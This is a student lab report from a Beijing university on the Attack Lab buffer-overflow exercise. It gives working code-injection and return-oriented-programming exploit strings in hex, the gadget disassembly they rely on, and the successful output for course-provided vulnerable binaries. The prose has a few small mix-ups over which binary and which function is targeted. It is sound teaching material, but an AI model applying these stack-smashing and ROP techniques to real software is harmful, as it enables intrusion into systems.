北京郵電大學

实验报告

题目: 缓冲区溢出攻击

班级: 2022211320

学号: 2022212408

姓名: 胡宇杭

学院: 计算机学院 (国家示范性软件学院)

2023 年 12 月 3 日

目录

1 实验目的

1. 理解 ***C*** 语言程序的函数调用机制，栈帧的结构；
2. 理解 **x86-64** 的栈和参数传递机制；
3. 初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段；
4. 进一步理解 **x86-64** 机器指令及指令编码。

2 实验环境

- 系统：***Linux Ubuntu* 20.04.5**
- 软件工具：***macOS Terminal***(10.120.11.12)、***gcc* 7.5.0**、***GNU gdb* 9.2**、***GNU objdump* 2.34**
- 辅助工具：***hex2raw***、***Markdown PDF***

3 实验内容

- 登录 **bupt1** 服务器，在 **home** 目录下可以找到一个 **targetn.tar** 文件，解压后得到如下文件：

README.txt	ctargat	rtarget
cookie.txt	farm.c	hex2raw

- **ctarget** 和 **rtarget** 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 **ctarget** 程序的攻击，共有 **3** 关，输入一个特定字符串，可成功调用 **touch1**，或 **touch2**，或 **touch3** 就通关，并向计分服务器提交得分信息；通过 **ROP** 方法实现对 **rtarget** 程序的攻击，共有 **2** 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 **touch2** 或 **touch3** 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 **ctraget** 和 **rtarget** 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验 **2** 的具体内容见 **实验 2 说明**，尤其需要认真阅读各阶段的 **Some Advice** 提示。
- 本实验包含了 **5** 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	`touch1`	10
2	CTARGET	2	CI	`touch2`	25
3	CTARGET	3	CI	`touch3`	25
4	RTARGET	2	ROP	`touch2`	35
5	RTARGET	3	ROP	`touch3`	5

4 实验步骤及实验分析

4.1 准备工作

1. 登陆 **bupt1** 服务器，在自己的目录下找到 **target534.tar** 文件，使用 **tar -xvf target534.tar** 命令解压缩该文件。

```
2022212408@bupt1:~$ tar -xvf target534.tar
target534/README.txt
target534/ctarget
target534/rtarget
target534/farm.c
target534/cookie.txt
target534/hex2raw
```

2. 使用 **cd target534** 命令移动到 **target534** 目录下，可以发现之前解压的文件，接下来我们对每个文件的作用进行解释。
   - **README.txt**：对每个文件功能的简单介绍；
   - **ctarget**：一个可执行文件，我们需要对其进行 **Code Injection** 攻击，对应上述 **Phase** $1 \sim 3$；
   - **rtarget**：一个可执行文件，我们需要对其进行 **Return-oriented Programming** 攻击，对应上述 **Phase** $4 \sim 5$；
   - **farm.c**：小工具农场的源代码，我们可以通过 **objdump**（此处使用 **gcc** 编译时必须加入 **-Og** 选项）对其反汇编获得小工具的机器码，省去了在 **rtarget** 中翻阅查找小工具的麻烦 (~~虽然最后还是得从 **rtarget** 中查找对应小工具的内存地址~~)；
   - **cookie.txt**：在某些 **phase** 需要作为参数传递的一个签名；
   - **hex2raw**：由于程序读取的是字符串，所以我们需要将写好的 **txt** 文件转换为二进制读取才能达到预期效果。
3. 使用 **objdump -d** 命令对两个程序反汇编。至此，准备工作完毕，开始 ***ATTACK LAB***。

```
2022212408@bupt1:~/target534$ objdump -d ctarget > ctg.txt
2022212408@bupt1:~/target534$ objdump -d rtarget > rtg.txt
```

4.2 Phase 1

1. 我们首先翻看官方文档，查阅要求，得知两个重要函数 **test()** 和 **getbuf()**

```
unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
```

   我们的任务是想办法让程序执行 **touch1()** 函数，根据提示及课上所学，**Gets()** 是一个类似于 **gets()** 的函数，这意味着在读入字符串长度超过定义的 **BUFFER_SIZE** 时，会造成内存泄漏，而这将会是我们的突破点：通过覆盖原有的返回地址，让 **getbuf()** 函数结束后返回到我们指定的位置。

2. 接下来，我们打开之前反汇编得到的 **ctg.txt** 文件，查看 **getbuf()** 的汇编代码。

```
0000000000401939 <getbuf>:
  401939:       48 83 ec 18             sub    $0x18,%rsp
  40193d:       48 89 e7                mov    %rsp,%rdi
  401940:       e8 96 02 00 00          callq  401bdb <Gets>
  401945:       b8 01 00 00 00          mov    $0x1,%eax
  40194a:       48 83 c4 18             add    $0x18,%rsp
  40194e:       c3                      retq
```

3. 可以看到，程序通过将栈帧 **%rsp** 减去 **0x18**，为 **getbuf()** 开辟了 **24** 字节的内存空间。紧接着两行，程序将 **%rsp** 作为参数调用了 **Gets()** 函数，说明读入的字符串存放在栈顶。

4. 根据上述分析，我们要做的事已经很明确了，通过输入一个较长的字符串，将位于 **%rsp + 0x18** 位置的返回地址覆盖成 **touch1()** 的地址。为此，我们查看 **touch1()** 的地址位置。

```
000000000040194f <touch1>:
  40194f:       48 83 ec 08             sub    $0x8,%rsp
  401953:       48 c1 ec 04             shr    $0x4,%rsp
  401957:       48 c1 e4 04             shl    $0x4,%rsp
  40195b:       c7 05 b7 3b 20 00 01    movl   $0x1,0x203bb7(%rip)        # 60551c <vlevel>
  401962:       00 00 00
  401965:       bf b0 32 40 00          mov    $0x4032b0,%edi
  40196a:       e8 61 f3 ff ff          callq  400cd0 <puts@plt>
  40196f:       bf 01 00 00 00          mov    $0x1,%edi
  401974:       e8 a7 04 00 00          callq  401e20 <validate>
  401979:       bf 00 00 00 00          mov    $0x0,%edi
  40197e:       e8 cd f4 ff ff          callq  400e50 <exit@plt>
```

5. 得到 **touch1()** 的返回地址后，就可以编写我们的攻击文本 **Hex.txt** 了。

```
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
4f 19 40 00 00 00 00 00
```

6. 其中，由于一开始为 **getbuf()** 分配了 **0x18** 字节的内存空间，所以我们需要先输入 **24** 个任意字符（**0x0a** 除外）对堆栈空间进行填充，然后输入 **touch1()** 的返回地址，实现对原有返回地址的覆盖。
7. 使用 **./hex2raw < Hex.txt | ./ctarget** 命令运行程序，成功 “**touch**” 了 **touch1()**，**Phase 1** 完成。

```
2022212408@bupt1:~/target534$ ./hex2raw < Hex.txt | ./ctarget
Cookie: 0x5c20ab11
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

4.3 Phase 2

1. 和之前一样，我们先查阅官方文档获取 **touch2()** 的源代码。

```
void touch2(unsigned val)
{
    vlevel = 2; // Part of validation protocol
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

2. 可以发现，与之前不同的是，这次我们不仅需要让 **getbuf()** 返回到 **touch2()**，而且需要将给定的 **cookie** 作为参数传给 **touch2()**，即将 **cookie** 传递至 **%rdi** 寄存器中。
3. 根据课上所学，要想实现在返回 **touch2()** 前执行某些指令，可以使用 **Code Injection** 方法。具体来说，这次我们还是需要覆盖原有的返回地址，但不同的是，我们并不是直接用 **touch2()** 的地址覆盖它，而是用我们的 **Injected Code** 的地址去覆盖它，这样程序就会去执行我们的 **Injected Code**。根据需求，我们的 **Injected Code** 需要实现两个功能：
    - 将 **cookie** 传入 **%rdi**：其实现较为简单，我们只需要将 **cookie** 对应的立即数通过 **mov** 命令复制到 **%rdi** 中。
    - 在执行完 **Injected Code** 后程序能正常返回至 **touch2()**：我们知道，程序在执行 **ret** 指令时，会返回至当前栈帧指向的内存地址，所以我们要做的就是在返回前将 **touch2()** 的返回地址压入栈中。

4. 通过上述分析，我们分析了需要编写的 **Injected Code**，接下来使用 **vim** 对其进行编辑。

```
mov  $0x5c20ab11, %rdi
pushq $0x401983
retq
```

5. 使用 **gcc -c** 命令 (忘截了捏) 对其进行编译，并使用 **objdump -d** 命令反汇编得到其机器码

```
2022212408@bupt1:~/target534$ gcc -c InjectCode2.s
2022212408@bupt1:~/target534$ objdump -d InjectCode2.o

InjectCode2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 11 ab 20 5c    mov    $0x5c20ab11,%rdi
   7:   68 83 19 40 00          pushq  $0x401983
   c:   c3                      retq
```

6. 之前说过，我们需要让程序第一次返回到 **Injected Code** 的位置。为了方便，我们可以选择将其放置到栈底位置，然后确定栈底的地址。
7. 使用 **gdb** 调试 **ctarget** 程序，之前已经确定过 **getbuf()** 的地址，通过 **break** 命令在相应位置设置断点。

```
(gdb) b *0x401939
Breakpoint 2 at 0x401939: file buf.c, line 12.
```

8. 运行程序，并使用 **p $rsp** 查看栈帧指向的地址，将其减去 **0x18** 即是栈顶的位置。

```
(gdb) p $rsp
$1 = (void *) 0x5564e850
```

9. 准备工作完成，根据之前的设想编辑 **Hex2.txt** 文件。

```
48 c7 c7 11
ab 20 5c 68
83 19 40 00
c3 01 01 01
01 01 01 01
01 01 01 01
38 e8 64 55 00 00 00 00
```

10. 使用 **./hex2raw < Hex2.txt | ./ctarget** 命令运行程序，成功 **“touch”** 了 **touch2()**，**Phase 2** 完成。

```
2022212408@bupt1:~/target534$ ./hex2raw < Hex2.txt | ./ctarget
Cookie: 0x5c20ab11
Type string:Touch2!: You called touch2(0x5c20ab11)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

写在后面：为什么读入的字符串可以作为指令被执行：程序会为执行的指令的机器码分配一片内存空间，并依次执行这些机器码，而我们通过修改返回值让其跳转至了栈底位置。也就是说，这时程序并不是将其当作存储的字符串，而是一系列机器码进行执行。

4.4 Phase 3

1. 和之前一样，我们先查阅官方文档获取 **hexmatch()** 和 **touch3()** 的源代码。

```
1 int hexmatch(unsigned val, char* sval)
2 {
3     char cbuf[110];
4     /* Make position of check string unpredictable */
5     char* s = cbuf + random() % 100;
6     sprintf(s, "%.8x", val);
7     return strncmp(sval, s, 9) == 0;
8 }
```

```
9
10  void touch3(char* sval)
11  {
12      vlevel = 3;
13      if (hexmatch(cookie, sval)) {
14          printf("Touch3!: You called touch3(\"%s\")\n", sval);
15          validate(3);
16      } else {
17          printf("Misfire: You called touch3(\"%s\")\n", sval);
18          fail(3);
19      }
20      exit(0);
21  }
```

2. 可以看到，这次我们要将 **cookie** 以字符串的形式传递进 **touch3()** 中，除此之外并无任何差别 (~~那不直接乱杀~~)。
3. 我们照葫芦画瓢，先选一个位置存放我们的字符串 (没错又是栈顶)，然后编写我们的 **Injected Code**(这里就不浪费空间再写一遍查看 **touch3()** 地址的操作了)。

```
mov $0x5564e838, %rdi
pushq $0x401a9c
retq
```

4. 接着用 **gcc -c** 命令对其进行编译，并使用 **objdump -d** 命令反汇编得到其机器码

```
[2022212408@bupt1:~/target534$ gcc -c InjectCode3.s
[2022212408@bupt1:~/target534$ objdump -d InjectCode3.o

InjectCode3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 38 e8 64 55    mov    $0x5564e838,%rdi
   7:   68 9c 1a 40 00          pushq  $0x401a9c
   c:   c3                      retq
```

5. 根据生成的机器码编写相应的 **Hex3.txt** 文件。

```
35 63 32 30
61 62 31 31
00 01 48 c7
c7 38 e8 64
55 68 9c 1a
40 00 c3 01
42 e8 64 55 00 00 00 00
```

6. 然后运行，完结撒花，收工！

```
2022212408@bupt1:~/target534$ ./hex2raw < Hex3.txt | ./ctarget
Cookie: 0x5c20ab11
Type string:Misfire: You called touch3("?_hU")
FAILED
```

7. 如果不出意外的话，那大概率是出意外了。

8. ~~本着能查资料就不动脑子的原则~~，我打开了官方手册查看了提示，发现了如下几句话：

> When functions hexmatch and strncmp are called, they push data onto the stack, overwritingportions of memory that held the buffer used by getbuf.

这意味着，我们的想法是没问题的，但在调用 **hexmatch()** 和 **strncmp()** 函数时，它们会将我们原来的 **Injected Code** 给覆盖，导致失败。

于是，我们需要将字符串放置在一个绝对安全的位置，回想一下，在程序正常运行的时候，哪个位置是绝对不会被覆盖的呢？俗话说得好，最安全的地方就是最安全的地方，也就是原来存放 **getbuf()** 返回地址的位置及其之上的位置 (因为堆栈由高地址向低地址增长)。

9. 依据上述想法，我们重新编写 **Injected Code**，因为返回地址长度是 **8** 字节，所以我们将字符串放到 **%rsp + 0x8** (此处%rsp 指的是栈底) 的位置。

```
mov $0x5564e858, %rdi
pushq $0x401a9c
retq
```

10. 接着用 **gcc -c** 命令 (~~忘截图子~~) 对其进行编译，并使用 **objdump -d** 命令反汇编得到其机器码。

```
[2022212408@bupt1:~/target534$ objdump -d InjectCode3.o

InjectCode3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 58 e8 64 55    mov    $0x5564e858,%rdi
   7:   68 9c 1a 40 00          pushq  $0x401a9c
   c:   c3                      retq
```

11. 根据生成的机器码编写相应的 **Hex3.txt** 文件，运行，通关！

```
48 c7 c7 58
e8 64 55 68
9c 1a 40 00
c3 01 01 01
01 01 01 01
01 01 01 01
38 e8 64 55 00 00 00 00
35 63 32 30 61 62 31 31 00
[2022212408@bupt1:~/target534$ ./hex2raw < Hex3.txt | ./ctarget
Cookie: 0x5c20ab11
Type string:Touch3!: You called touch3("5c20ab11")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

4.5 Phase 4

“一刻也没为 *CI* 的被解决而哀悼，立刻赶往 BUPT1 服务器的是 *ROP* !”

1. 老样子，先查阅官方手册，发现了以下两点
   - It uses randomization so that the stack positions differ from one run to another. This makes it impossibleto determine where your injected code will be located.
   - It marks the section of memory holding the stack as nonexecutable, so even if you could set theprogram counter to the start of your injected code, the program would fail with a segmentation fault.

   这意味着，我们之前的伎俩都失效了 (因为我们无法定位栈帧的位置，进而无法定位 **Injected Code** 的位置，同时也不能在栈中执行 **Injected Code**)。但俗话说的好，上帝为你关上一扇门，肯定会为你开一扇窗，这次其为我们提供了丰富的小工具来解决问题。
2. 通览官方手册，可以总结出小工具的使用方法：

   虽然每个小工具执行的机器可能与我们实际需要的效果截然不同，但我们可以断章取义地让程序从中间某部分开始执行，从而达成需求的效果。
   例如，**48 89 c0** 执行的汇编代码为 **movq %rax, %rax**。但如果我们让其初始执行地址加一，就会变成 **89 c0**，对应的汇编代码为 **movl %eax, %eax**。
   至于小工具的调用，我们还是使用之前的方法 – **overwritingportions**，但由于我们需要使用很多小工具，所以需要链式地在栈中存放一系列小工具的地址来实现调用完一个小工具后紧接着调用下一个的效果。
   所以，对于 **ROP** 类的问题，我们要做的只有两件事，通过分析得出可能的汇编代码，然后据此选择一系列小工具来实现。

3. 回看 **Phase 4** 的要求：用 **ROP** 解决 **Phase 2**，也就是我们要实现的功能还是两点：
   - 将 **cookie** 传入 **%rdi** 寄存器中。
   - 程序最终返回至 **touch2()** 函数中。
4. 由于这次我们不能简单粗暴的编写 **Injected Code**，所以需要重新找一个方法来获得我们的 **cookie** 并将其存放到 **%rdi** 中。而最适合做这种事的命令无疑是 **popq**。
5. 查看之前生成的 **rtg** 文件，发现只有 **setval_168** 能实现 **popq** 和 **retq** (以下不再赘述) 命令，其对应汇编代码为 **popq %rax**。

```
0000000000401b69 <setval_168>:
  401b69:       c7 07 6f 2b 58 90       movl   $0x90582b6f,(%rdi)
  401b6f:       c3                      retq
```

6. 那接下来的任务就明了了，找到 **movq %rax, %rdi** 对应的小工具。通过查看手册，得到其机器码为 **48 89 c7**，故所需小工具为 **addval_241**。

```
0000000000401b48 <addval_241>:
  401b48:       8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax
  401b4e:       c3                      retq
```

7. 根据这两个小工具的地址和 **touch3()** 的地址编写 **Hex4.txt** 文件。

```
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
11 45 14 01
01 01 01 10
6d 1b 40 00 00 00 00 00
11 ab 20 5c 00 00 00 00
4a 1b 40 00 00 00 00 00
83 19 40 00 00 00 00 00
```

8. 使用 **./hex2raw < Hex4.txt | ./ctarget** 命令运行程序，成功 **“touch”** 了 **touch2()**，**Phase 4** 完成。

```
[2022212408@bupt1:~/target534$ ./hex2raw < Hex4.txt | ./rtarget
Cookie: 0x5c20ab11
Type string:Touch2!: You called touch2(0x5c20ab11)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

4.6 Phase 5

1. 由于这次我们需要通过 **ROP** 解决 **Phase 3**，但这就意味着我们必须定位到字符串的位置并将其传到 **%rdi** 寄存器中。而由于栈的随机化，我们并不能定位到字符串的绝对位置，更别提将其传给 **%rdi** 了。
2. 就在我绞尽脑汁，即将放弃的时候，我在小工具农场中找到了梦寐以求的函数 **add_xy**。由于之前一直是找片段的机器码构建功能，而忽略了函数本身。

```
0000000000401b7c <add_xy>:
  401b7c:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401b80:       c3                      retq
```

3. 这个函数告诉我们，虽然栈的位置是随机的，但有一样东西是恒定的：我们的字符串与栈帧的 **相对位置**。所以可以通过提取栈帧的位置，并通过 **add_xy** 将其加上一个偏移量，让其指向我们的字符串。
4. 由 **add_xy** 的汇编代码，我们这次需要实现以下功能：
   - 将栈帧提取并保存在 **%rdi** 或 **%rsi** 中；
   - 拿到偏移量后将其保存在 **%rdi** 或 **%rsi** 中；
   - 执行 **add_xy** 函数；
   - 将 **%rax** 寄存器中的值复制到 **%rdi** 中；
   - 返回至 **touch3()**。
5. 由于我们并不知道这些小工具能实现哪些功能，所以极大概率需要中间变量来帮我们完成某些步骤，而这涉及到大量的查阅、排除。所以我决定借助 **Pdf** 文件强大的搜索能力来减少工作量。
6. 经过一系列查找、排查，我最终确定了完整的汇编指令：
   - movq %rsp, %rax
   - movq %rax, %rdi

- popq %rax (0x48)
- movl %eax, %ecx
- movl %ecx, %edx
- movl %edx, %esi
- lea (%rdi, %rsi, 1), %rax
- movq %rax, %rdi

7. 其中，由于没有直接或间接将 **0x48** 移动到 **rsi** 中的 **movq** 指令，所以我们转去寻找 **movl** 指令。选择 **movl** 的原因有两个：
   - **0x48** 可以被存放在 **32** 位寄存器中，不会被截断；
   - 与其他的 **mov** 指令不同的是，**movl** 命令会自动将寄存器的高位置 **0**，这意味着我们不会因为最后执行对象是 **%rsi**，而不是 **%esi** 导致原本的 **0x48** 被修改成其他数。
8. 由于篇幅限制，这里就不给出对应的小工具具体是哪些了（会在文末给出），我们直接编写 **Hex5.txt** 文件。

```
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
01 01 01 01
e0 1b 40 00 00 00 00 00
4a 1b 40 00 00 00 00 00
6d 1b 40 00 00 00 00 00
48 00 00 00 00 00 00 00
15 1c 40 00 00 00 00 00
96 1b 40 00 00 00 00 00
ed 1b 40 00 00 00 00 00
7c 1b 40 00 00 00 00 00
4a 1b 40 00 00 00 00 00
9c 1a 40 00 00 00 00 00
35 63 32 30 61 62 31 31 00
```

9. 使用 **./hex2raw < Hex5.txt | ./ctarget** 命令运行程序，成功 **“touch”** 了 **touch3()**，**Phase 5** 完成。

```
2022212408@bupt1:~/target534$ ./hex2raw < Hex5.txt | ./rtarget
Cookie: 0x5c20ab11
Type string:Touch3!: You called touch3("5c20ab11")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

5 总结体会

- 体会：通过这次实验，我详细了解了 **CI** 和 **ROP** 两种针对缓冲区溢出的攻击手段；对堆栈和程序的运行过程有更深的理解；同时知道了函数调用的机制和栈帧的结构；也明白明白了如何编写更加安全的程序。
- 建议：不可否认这次的实验同样十分有趣，但最后 **Phase 5** 时在那盯着眼找一堆指令确实有些枯燥乏味，希望可以就此进行改进。
- 写在最后：速速把下次实验搬上桌来。

6 Phase 5 小工具

- movq %rsp, %rax

  48 89 e0 对应 movq %rsp, %rax

  90 对应 nop

  c3 对应 retq

```
0000000000401bdf <getval_203>:
  401bdf:       b8 48 89 e0 90          mov    $0x90e08948,%eax
  401be4:       c3                      retq
```

- movq %rax, %rdi

  48 89 c7 对应 movq %rax, %rdi

  90 对应 nop

  c3 对应 retq

```
0000000000401b48 <addval_241>:
  401b48:       8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax
  401b4e:       c3                      retq
```

- popq %rax (0x48)

  58 对应 popq %rax

  90 对应 nop

  c3 对应 retq

```
0000000000401b69 <setval_168>:
  401b69:       c7 07 6f 2b 58 90       movl   $0x90582b6f,(%rdi)
  401b6f:       c3                      retq
```

- movl %eax, %ecx

  89 c1 对应 movl %eax, %ecx

  90 90 对应 nop nop

  c3 对应 retq

```
0000000000401c13 <addval_108>:
  401c13:       8d 87 89 c1 90 90       lea    -0x6f6f3e77(%rdi),%eax
  401c19:       c3                      retq
```

- movl %ecx, %edx

  89 ca 对应 movl %ecx, %edx

  08 db 对应 orb %bl

  c3 对应 retq

```
0000000000401b95 <getval_254>:
  401b95:       b8 89 ca 08 db          mov    $0xdb08ca89,%eax
  401b9a:       c3                      retq
```

- movl %edx, %esi

  89 d6 对应 movl %edx, %esi

  08 d2 对应 orb %dl

  c3 对应 retq

```
0000000000401bec <getval_160>:
  401bec:       b8 89 d6 08 d2          mov    $0xd208d689,%eax
  401bf1:       c3                      retq
```

- movq %rax, %rdi

  和之前重复，不再赘述